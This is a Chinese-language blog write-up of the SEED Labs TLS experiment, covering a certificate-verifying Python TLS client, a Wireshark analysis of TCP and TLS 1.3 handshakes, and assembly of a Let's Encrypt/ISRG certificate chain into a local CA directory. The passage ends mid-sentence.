Ezekielx
Ezekielx
发布于 2026-06-17 / 1 阅读
0
0

SEED 实验 密码学实验-传输层安全(TLS)实验

1 概述

实验任务:https://seedsecuritylabs.org/chinese/labs/Crypto/Crypto_TLS/

2 实验环境

创建实验目录:

[06/07/26]seed@VM:~$ mkdir Experiment05
[06/07/26]seed@VM:~$ cd Experiment05
[06/07/26]seed@VM:~/Experiment05$

解压镜像文件:

[06/07/26]seed@VM:~/Experiment05$ unzip Labsetup.zip
Archive:  Labsetup.zip
   creating: Labsetup/
  inflating: Labsetup/docker-compose.yml
   creating: Labsetup/volumes/
  inflating: Labsetup/volumes/handshake.py
   creating: Labsetup/volumes/server-certs/
  inflating: Labsetup/volumes/server-certs/README.md
  inflating: Labsetup/volumes/README.txt
  inflating: Labsetup/volumes/server.py
   creating: Labsetup/volumes/client-certs/
  inflating: Labsetup/volumes/client-certs/README.md
[06/07/26]seed@VM:~/Experiment05$

启动容器:

[06/07/26]seed@VM:~/.../Labsetup$ docker-compose up -d
WARNING: Found orphan containers (www-10.9.0.80) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up.
Pulling Client (handsonsecurity/seed-ubuntu:medium)...
medium: Pulling from handsonsecurity/seed-ubuntu
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
b096ee103c1c: Pull complete
81cdb6f1530c: Pull complete
fda0ad4af09f: Pull complete
cd710012fb7a: Pull complete
Digest: sha256:50d093e11031e7331e339c709887f56fc6859964e1c4fd1165a3587863dba114
Status: Downloaded newer image for handsonsecurity/seed-ubuntu:medium
Creating server-10.9.0.43      ... done
Creating client-10.9.0.5       ... done
Creating mitm-proxy-10.9.0.143 ... done
[06/07/26]seed@VM:~/.../Labsetup$

3 任务 1: TLS 客户端

构建一个简单的TLS客户端程序。

3.1 任务 1.a: TLS 握手

编写一个 Python 脚本,启动了一个与 TLS 服务器之间的 TLS 握手(服务器名称需要指定为第一个命令行参数)。

[06/07/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\nTLS 握手已完成,按回车关闭连接...")

# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

添加权限并允许,建立与 www.vaultattic.cn 的连接:

[06/07/26]seed@VM:~/Experiment05$ chmod a+x ./handshake.py
[06/07/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

加密套件说明:
加密套件名称: TLS_AES_256_GCM_SHA384
协议版本: TLSv1.3
密钥长度: 256 bit

服务器证书信息:
{'caIssuers': ('http://e7.i.lencr.org/',),
 'crlDistributionPoints': ('http://e7.c.lencr.org/87.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'E7'),)),
 'notAfter': 'Jul  9 06:40:29 2026 GMT',
 'notBefore': 'Apr 10 06:40:30 2026 GMT',
 'serialNumber': '05F2553F1F78392F5F51E048D92C24AA7FD6',
 'subject': ((('commonName', '*.vaultattic.cn'),),),
 'subjectAltName': (('DNS', '*.vaultattic.cn'),),
 'version': 3}

TLS 握手已完成,按回车关闭连接...

任务:

  • 客户端和服务器之间使用的加密算法是什么?

    客户端和服务器使用的加密套件:
    ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
    
    • TLS:表示这是 TLS 协议使用的加密套件。
    • AES_256:表示使用 AES 对称加密算法,256 表示密钥长度为 256 bit,主要用于对后续传输的 HTTPS 数据进行加密,防止通信内容被窃听。
    • GCM:表示使用 GCM 工作模式,GCM 是一种认证加密模式,不仅可以加密数据,还可以验证数据完整性,它可以防止数据在传输过程中被篡改。
    • SHA384:表示使用 SHA384 哈希算法,主要用于握手过程中的密钥派生和校验,帮助客户端和服务器生成后续通信使用的会话密钥。
    • 256:表示该连接使用的对称加密密钥长度为 256 bit。
  • 请在程序中输出服务器证书。

    服务器证书信息:
    {'caIssuers': ('http://e7.i.lencr.org/',),
     'crlDistributionPoints': ('http://e7.c.lencr.org/87.crl',),
     'issuer': ((('countryName', 'US'),),
                (('organizationName', "Let's Encrypt"),),
                (('commonName', 'E7'),)),
     'notAfter': 'Jul  9 06:40:29 2026 GMT',
     'notBefore': 'Apr 10 06:40:30 2026 GMT',
     'serialNumber': '05F2553F1F78392F5F51E048D92C24AA7FD6',
     'subject': ((('commonName', '*.vaultattic.cn'),),),
     'subjectAltName': (('DNS', '*.vaultattic.cn'),),
     'version': 3}
    
    • 证书主体 subject:*.vaultattic.cn
    • 证书通用名 commonName:*.vaultattic.cn
    • 证书签发机构 issuer:Let's Encrypt E7
    • 证书有效期:notBefore: Apr 10 06:40:30 2026 GMTnotAfter : Jul 9 06:40:29 2026 GMT
    • 证书序列号:05F2553F1F78392F5F51E048D92C24AA7FD6
    • 证书版本:3
  • /etc/ssl/certs 的作用

    CA 证书目录: /etc/ssl/certs
    

    /etc/ssl/certs 是 Linux 系统中保存可信 CA 根证书和中间证书的目录。

    它的主要作用是:

    • 验证服务器证书是否由可信 CA 签发
    • 检查服务器证书链是否可信
    • 配合 check_hostname 验证证书域名是否匹配
    • 防止客户端连接到伪造的 HTTPS 服务器
  • 使用 Wireshark 在程序执行期间捕获网络流量,并解释你的观察结果。请说明哪个步骤触发 TCP 握手,以及哪个步骤触发 TLS 握手。解释 TLS 握手和 TCP 握手之间的关系。

    新建终端,运行 Wireshark:

    [06/07/26]seed@VM:~/Experiment05$ wireshark
    

    选择名为 ens33 的网络接口,搜索栏设置过滤器 tcp.port == 443,再次运行程序观察结果。

F4XleUzg-1.png

TCP 与 TLS 1.3 握手流程图如下:

F4XleUzg-2.png

TCP 部分主要报文如下:

  • 192.168.144.145 -> 124.221.143.80 TCP 47418 -> 443 [SYN]:对应理论图中的 SYN,表示客户端向服务器发起 TCP 连接请求。
  • 124.221.143.80 -> 192.168.144.145 TCP 443 -> 47418 [SYN, ACK]:对应理论图中的 SYN, ACK,表示服务器同意建立连接,并确认收到了客户端的请求。
  • 192.168.144.145 -> 124.221.143.80 TCP 47418 -> 443 [ACK]:对应理论图中的 ACK,表示客户端确认收到服务器响应,TCP 三次握手完成。

TLS 部分主要报文如下:

  • 192.168.144.145 -> 124.221.143.80 TLSv1.3 Client Hello:对应图中的 Client Hello,表示客户端开始 TLS 1.3 握手,发送支持的 TLS 版本、加密套件和扩展信息。
  • 124.221.143.80 -> 192.168.144.145 TLSv1.3 Server Hello, Change Cipher Spec, Application Data, Application Data:其中 Server Hello 对应图中的 Server Hello;后面的 Application Data 对应图中的 Encrypted ExtensionsCertificateCertificate Verify 和服务器端 Finished。由于 TLS 1.3 中这些内容已加密,因此 Wireshark 统一显示为 Application Data
  • 192.168.144.145 -> 124.221.143.80 TLSv1.3 Change Cipher Spec, Application Data:其中 Application Data 对应理论图中的客户端 Finished,表示客户端已经验证服务器信息并完成自己的握手部分。

TCP 握手和 TLS 握手是两个不同层次的过程,它们的作用不同,但前后有依赖关系。

  • TCP 握手 的作用是先建立客户端和服务器之间的可靠连接。也就是说,TCP 只负责把通信通道建立起来,保证双方后续可以可靠地发送和接收数据,但它本身不提供加密,也不验证服务器身份。
  • TLS 握手 的作用是在已经建立好的 TCP 连接之上协商安全参数。例如协商使用的 TLS 版本、加密套件、验证服务器证书,以及生成后续通信使用的会话密钥。

可以理解为:

  • TCP 握手负责建立连接
  • TLS 握手负责让连接变安全

对于 HTTPS 通信来说,整体顺序就是:

TCP 握手 -> TLS 握手 -> 加密的 HTTP 数据传输

也就是:

HTTPS = HTTP over TLS over TCP

3.2 任务 1.b: CA 的证书

修改 handshake.py 文件,将 cadir = '/etc/ssl/certs' 改为 cadir = './certs'

[06/13/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = './certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\nTLS 握手已完成,按回车关闭连接...")

# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

创建自己的证书目录:

[06/13/26]seed@VM:~/Experiment05$ mkdir certs
[06/13/26]seed@VM:~/Experiment05$

由之前的 ./handshake.py 执行结果中的:

'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'E7'),)),

得知该证书是由 Let's Encrypt 这个机构签发的,去他们的官网搜索他们的证书信任链:证书信任链 - Let's Encrypt

F4XleUzg-3.png

得到了 CA 根证书为 ISRG Root X1ISRG Root X1

/etc/ssl/certs 中查找这根 CA 证书:

[06/13/26]seed@VM:~/Experiment05$ ls /etc/ssl/certs | grep -i "isrg"
ISRG_Root_X1.pem
[06/13/26]seed@VM:~/Experiment05$

ISRG_Root_X1.pem 证书文件复制到自己的 certs 目录中:

cp /etc/ssl/certs/ISRG_Root_X1.pem ~/Experiment05/certs/
[06/13/26]seed@VM:~/Experiment05$ cp /etc/ssl/certs/ISRG_Root_X1.pem ~/Experiment05/certs/
[06/13/26]seed@VM:~/Experiment05$ ls certs/
ISRG_Root_X1.pem
[06/13/26]seed@VM:~/Experiment05$

在 TLS 中,服务器发送给客户端的不只是自己的服务器证书,还通常会附带若干上级 CA 证书,形成一条证书链

客户端验证服务器证书时,并不是只检查服务器证书本身,而是会沿着这条证书链逐级向上验证,直到找到一个本地信任的根 CA 证书为止(也就是这里的 ISRG Root X1)。只有整条链都能够正确连接,并且最终能够追溯到受信任的根证书,服务器证书验证才会成功。

所以接下来还要保存整个证书链路。

使用 openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts 查看所有证书:

[06/13/26]seed@VM:~/Experiment05$ openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts
CONNECTED(00000003)
depth=3 C = US, O = Internet Security Research Group, CN = ISRG Root X2
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=2 C = US, O = ISRG, CN = Root YE
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = YE1
verify return:1
depth=0 CN = *.vaultattic.cn
verify return:1
---
Certificate chain
 0 s:CN = *.vaultattic.cn
   i:C = US, O = Let's Encrypt, CN = YE1
-----BEGIN CERTIFICATE-----
MIIDjDCCAxGgAwIBAgISBjebM5QYVoFsyKhf6aKnHVcrMAoGCCqGSM49BAMDMDMx
CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZ
RTEwHhcNMjYwNjA5MTUwMjA2WhcNMjYwOTA3MTUwMjA1WjAaMRgwFgYDVQQDDA8q
LnZhdWx0YXR0aWMuY24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASibGaEpWix
5y4PfsZJSoDwzL0XTHtUSIWk4D/Ukq6FQLLdbEOahtTApxgJLPOEQCDW7mpMeMDB
xygVJ5Sxb1QDo4ICHDCCAhgwDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoGCCsG
AQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLhN9sMvjxKOoVjrZXs6oF/K
9k/IMB8GA1UdIwQYMBaAFLsgykcL/tflnPmPCSqjjDdFsbzYMDMGCCsGAQUFBwEB
BCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3llMS5pLmxlbmNyLm9yZy8wGgYDVR0R
BBMwEYIPKi52YXVsdGF0dGljLmNuMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly95ZTEuYy5sZW5jci5vcmcvNDQuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYM
L+eFhzoAAAGerR1C4wAABAMARzBFAiEAkTasW5MgyDMiMh3o1nsycbBC2+qEdOMS
AVMXjUtpZqACIFCyS4EBOR2pOHGqt1Ph1uXzoFQ+lCAhhZYN1tpgUzfgAH0AGoud
aw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGerR1DXQAIAAAFAByXUZcE
AwBGMEQCIAsr+kdyLdFrrJSa0Tu1ALt61xyzN3DI0aJ+0InGkrxyAiBp7szv1SMC
dRic+SmBh2JPMfRy44HH4Wbkf51rV9enSjAKBggqhkjOPQQDAwNpADBmAjEAsKKe
aFVZgLaqyyXIAMX3gEMfwo2gsCwdutODlgxS961kmjqdU6j3nPD2oXQHdDcdAjEA
9sxvEARXVzT8MH9kxrMpr5SFsxq7MmqafQUDMNJiLZuupVMw/gaN3r7KthkdfiNf
-----END CERTIFICATE-----
 1 s:C = US, O = Let's Encrypt, CN = YE1
   i:C = US, O = ISRG, CN = Root YE
-----BEGIN CERTIFICATE-----
MIICizCCAhGgAwIBAgIQXd1w3TH4AchcGGp6BLgK/jAKBggqhkjOPQQDAzAuMQsw
CQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZRTAeFw0y
NTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYD
VQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZRTEwdjAQBgcqhkjOPQIBBgUr
gQQAIgNiAAQHZVB1/mimla2hfSurylScjPMZaOJXLz/NnAc2sylm8WDyhU9Ccp+z
ASQi5vSwGGJjSGklkD9fdPR8GpyDIOIjCEfrnbt/v+ZSEPLLEGbaM6EccDbN7p9x
teIm2Avf+ryjge4wgeswDgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUF
BwMBMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFLsgykcL/tflnPmPCSqj
jDdFsbzYMB8GA1UdIwQYMBaAFKPIJlqOoUzQNWP8myPIOq5W809WMDIGCCsGAQUF
BwEBBCYwJDAiBggrBgEFBQcwAoYWaHR0cDovL3llLmkubGVuY3Iub3JnLzATBgNV
HSAEDDAKMAgGBmeBDAECATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veWUuYy5s
ZW5jci5vcmcvMAoGCCqGSM49BAMDA2gAMGUCMQDgjUEahFT/h3DRakqiPZpLvPgf
Zwkt6K2EOMmh1nvEzl83eMLYcod4GCl3b0J1Nn0CMBNYmEQJb4CEG5WoOe7aRn/L
VKu6saHmHEynI7ysIPd8zQsK1HdmhlHKlw9Z5GpGvA==
-----END CERTIFICATE-----
 2 s:C = US, O = ISRG, CN = Root YE
   i:C = US, O = Internet Security Research Group, CN = ISRG Root X2
-----BEGIN CERTIFICATE-----
MIICpjCCAiugAwIBAgIRAIchZfw0tuX7qK3Vs3BftTowCgYIKoZIzj0EAwMwTzEL
MAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNo
IEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDIwHhcNMjYwNTEzMDAwMDAwWhcN
MzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4G
A1UEAxMHUm9vdCBZRTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDwS/6vhrcVqcbBo
+wgdI3fwn9x7DNJJOY/lTOti0vkwuRN87RhEhTH17E7XyFjWsPYhIPt/wzOqxTd2
b+4ZJNy9ID04YywF9U5zasDVyGSNErVNtz8uSGh5izW87j77GaOB6zCB6DAOBgNV
HQ8BAf8EBAMCAQYwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUo8gmWo6hTNA1Y/ybI8g6rlbzT1YwHwYDVR0jBBgwFoAUfEKW
rt5LSDv6kviejM9ti6lyN5UwMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAChhZo
dHRwOi8veDIuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcGA1Ud
HwQgMB4wHKAaoBiGFmh0dHA6Ly94Mi5jLmxlbmNyLm9yZy8wCgYIKoZIzj0EAwMD
aQAwZgIxAMU19WCtmxVND8UHBZRoma49Z7jPs64Dma0eTu1OChVbB/2J7GV3nvYK
Ax54uk1G9QIxAO0miLVJu8PLNiXXXkiE/gsK3CTRTF/aeo4bMX42Zw40csRU6AC2
6hSW1/IWaas6dg==
-----END CERTIFICATE-----
 3 s:C = US, O = Internet Security Research Group, CN = ISRG Root X2
   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
-----BEGIN CERTIFICATE-----
MIIEcDCCAligAwIBAgIQbI8dxyfHEX97r4U6yYD5zTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNjA1MTMwMDAwMDBa
Fw0zMjA5MDIyMzU5NTlaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5l
dCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgy
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H
ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7
AlF9ItgKbppbd9/w+kHsOdx1ymgHDB/qo4H1MIHyMA4GA1UdDwEB/wQEAwIBBjAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwHwYDVR0jBBgwFoAUebRZ5nu2
5eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAChhZodHRw
Oi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcGA1UdHwQg
MB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcNAQELBQAD
ggIBAD2/e9frmMxNpCV03qUHegg+MV2wz9644YoXdqtH8RyWYcBO7xfjjGEXdU1e
/o0OkEFiynUCOSIk/vLLo7ttz6CPAeNlWfC0XNkoGeWgK6jjXvozBaGuGH5n0Ufo
shMeWTuURqNN5G00sSXDTBrpp2+mgvdZQjb8K11TYMA25QA+YHNfbIEL0BniAhKS
2gsnJjSzrdZLI+EZ7SEyqdR2rkjd1KutLDU+n3TFyxjniZVGur4YlhMP3mY/dV95
IruAkkjOZier6hGBdEgZXXvaCz9u9iVEadsIE75pAGL8oHV5vxdARDiotRpul1IN
/UZwzAbrfUFcw1HkAcYD/mlZfnQ2ieCF2MS7j3Vhv7JPDKp45fmykmzYNSrumRW0
upFFKDBOoF7hsOb7oLyHS+Uft6jOUfOrogj8YUx38hKb2K20r42OgsSdDdxdeYWc
MS3Sb6mwJeSZEYxJ2gaXnDSPaKhhrNkYwljyVQyr4Nq+MEJytXNTnHqaAcrNwZlV
pcJL1KBnMrMjP7eanvUwL3FYj3cF17jtboLt7gLoi4+2rWZFvn+w54jmd/FIuhhZ
cEaU/wvU6BUNMtcVquVGHp7itQeDth5j+XL3j4WJ2SABwzUl6OeYdgpIt/ITZa+p
TT0mQ/r5XyA4MEAiabn7XJjvCERlF2dcn2wqJw+CreTkkQ2R
-----END CERTIFICATE-----
---
Server certificate
subject=CN = *.vaultattic.cn

issuer=C = US, O = Let's Encrypt, CN = YE1

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: ECDSA
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3779 bytes and written 399 bytes
Verification error: unable to get local issuer certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 256 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 20 (unable to get local issuer certificate)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: CFFAD92C344FD87F4681D1E9B391B61EC733696FE3DA1734F80FDA46E123A8EC
    Session-ID-ctx:
    Resumption PSK: B46EE132D07EBDC85034F97BCD5F8BEE54DAD1A8FB35609A50708CB748F386C5ED98C879D7C98008F37147C329AD7901
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - d8 a1 18 b0 fa 5d 27 39-31 f7 a8 13 0b 03 29 fc   .....]'91.....).
    0010 - 9d c1 d8 87 d3 cc 84 a3-05 82 9f d4 e6 60 92 28   .............`.(
    0020 - 85 4e 42 94 2f 10 c8 17-cf f4 94 75 67 f9 a9 7c   .NB./......ug..|
    0030 - 5f 3f d2 25 f6 af 50 cc-fa fa 97 2d 21 af ac 23   _?.%..P....-!..#
    0040 - 2e 0d 96 da a4 29 71 4a-c6 28 f7 66 8d 34 3e 88   .....)qJ.(.f.4>.
    0050 - 9b 7c 23 0c 59 8d 58 a5-d2 90 e5 f6 29 98 ff 18   .|#.Y.X.....)...
    0060 - 64 74 38 29 1b 28 a2 8d-a9 3f 3d 76 8f c0 c4 4c   dt8).(...?=v...L
    0070 - bb d4 ef a9 dc e6 02 74-8d f8 af 68 12 ea 32 0b   .......t...h..2.
    0080 - 91 2a 45 9a ce 18 4a ee-69 3c 3d a1 9f bc 55 45   .*E...J.i<=...UE
    0090 - 6f a4 b4 5c fe b3 05 ba-c1 87 74 78 f8 92 57 6c   o..\......tx..Wl
    00a0 - fc dd a3 1a cf 0c 33 82-e0 11 8d 77 e4 d4 89 1f   ......3....w....
    00b0 - c9 4a 80 d5 db a9 c5 28-66 e0 1e 13 d5 40 d2 9d   .J.....(f....@..
    00c0 - d0 52 fb 2b 40 0e e5 0c-46 df 1e 69 59 5d 87 73   .R.+@...F..iY].s
    00d0 - dc 85 7c 0f 11 4f 5e 0d-cf 7c 5d da 55 ae 4c 11   ..|..O^..|].U.L.
    00e0 - b4 68 08 4f 3b 4a 01 3b-0d 99 db ac b7 b4 3f e6   .h.O;J.;......?.

    Start Time: 1781356981
    Timeout   : 7200 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 2AA8F2F520A5345FCDE3E46216D73E5EB95837C479FB6FF0CE7E8D20FE9AFAE2
    Session-ID-ctx:
    Resumption PSK: A07105FA98B103473A614026BB22072CC6739C700A4B5AFDC67E4A4B0DD41177CEA84EECC4A014CD3EFDCFA8226CF55C
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - d8 a1 18 b0 fa 5d 27 39-31 f7 a8 13 0b 03 29 fc   .....]'91.....).
    0010 - 3c 61 64 e8 ba 6f 04 a5-ba e1 e5 e7 e1 f7 1c 44   <ad..o.........D
    0020 - ef b2 4a 1e b3 db 7b 08-e5 9b a7 aa 58 4e 4e e4   ..J...{.....XNN.
    0030 - 8d 6e d6 19 d6 ca 4e 85-04 75 a4 0e e6 78 0a ba   .n....N..u...x..
    0040 - 96 80 d8 fc 45 9f 7d 8a-24 30 9d 58 c8 31 9c e0   ....E.}.$0.X.1..
    0050 - e5 e2 e2 69 4a b5 b4 c4-34 7f 95 45 f0 2d e0 c4   ...iJ...4..E.-..
    0060 - 6f 96 fb d1 ff 64 f0 35-5d 05 43 b1 b2 66 fe 5f   o....d.5].C..f._
    0070 - e8 5d ee d1 05 bf 91 c9-e9 60 df 64 b8 69 25 30   .].......`.d.i%0
    0080 - ec 6a 20 58 03 9c 26 05-38 ea 75 8e 9e 4d 25 47   .j X..&.8.u..M%G
    0090 - 11 0a f2 9a 59 2e 33 f4-2b 2a 24 b5 b7 b5 5e 47   ....Y.3.+*$...^G
    00a0 - e3 55 02 74 2b 88 96 65-99 46 41 92 a8 5a 68 6c   .U.t+..e.FA..Zhl
    00b0 - 92 98 18 dd ed c1 bc 0b-32 8a db 5a 1f a8 50 37   ........2..Z..P7
    00c0 - b8 78 c0 be c9 3c 1b 1c-a5 5d 3d ce dd a2 e4 81   .x...<...]=.....
    00d0 - f5 76 64 87 8f 58 92 24-c7 48 d4 64 16 25 a1 19   .vd..X.$.H.d.%..
    00e0 - 31 68 8c c3 57 b0 d4 3a-3c 74 ed 8a 1f 41 70 ff   1h..W..:<t...Ap.

    Start Time: 1781356981
    Timeout   : 7200 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK

可以看到实际使用的证书链为:

*.vaultattic.cn
    -> YE1
    -> Root YE
    -> ISRG Root X2
    -> ISRG Root X1

这说明仅放置根证书 ISRG Root X1 还不足以完成验证,因为客户端还需要中间 CA 证书 YE1Root YEISRG Root X2,才能将服务器证书逐级验证到受信任的根证书。

把服务器发来的证书链保存到文件 vault_chain.txt

openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts </dev/null> vault_chain.txt

使用下面命令拆出证书:

awk '
/-----BEGIN CERTIFICATE-----/ {n++; out=sprintf("cert_%d.pem", n)}
out != "" {print > out}
/-----END CERTIFICATE-----/ {out=""}
' vault_chain.txt

查看每张证书是谁:

for f in cert_*.pem; do
    echo "==== $f ===="
    openssl x509 -in "$f" -noout -subject -issuer
    echo
done
[06/13/26]seed@VM:~/Experiment05$ for f in cert_*.pem; do
>     echo "==== $f ===="
>     openssl x509 -in "$f" -noout -subject -issuer
>     echo
> done
==== cert_1.pem ====
subject=CN = *.vaultattic.cn
issuer=C = US, O = Let's Encrypt, CN = YE1

==== cert_2.pem ====
subject=C = US, O = Let's Encrypt, CN = YE1
issuer=C = US, O = ISRG, CN = Root YE

==== cert_3.pem ====
subject=C = US, O = ISRG, CN = Root YE
issuer=C = US, O = Internet Security Research Group, CN = ISRG Root X2

==== cert_4.pem ====
subject=C = US, O = Internet Security Research Group, CN = ISRG Root X2
issuer=C = US, O = Internet Security Research Group, CN = ISRG Root X1

[06/13/26]seed@VM:~/Experiment05$

现在是:

  • cert_1.pem:服务器证书
  • cert_2.pem:签发 cert_1
  • cert_3.pem:签发 cert_2
  • cert_4.pem:签发 cert_3
  • /etc/ssl/certs/ISRG_Root_X1.pem:签发 cert_4,而且它是本地信任的根

所以现在要 2、3、4 号证书移进 certs

mv cert_2.pem ./certs/YE1.pem
mv cert_3.pem ./certs/Root_YE.pem
mv cert_4.pem ./certs/ISRG_Root_X2.pem

仅复制 CA 证书到 ./certs 中还不够。由于 ./handshake.py 使用了:

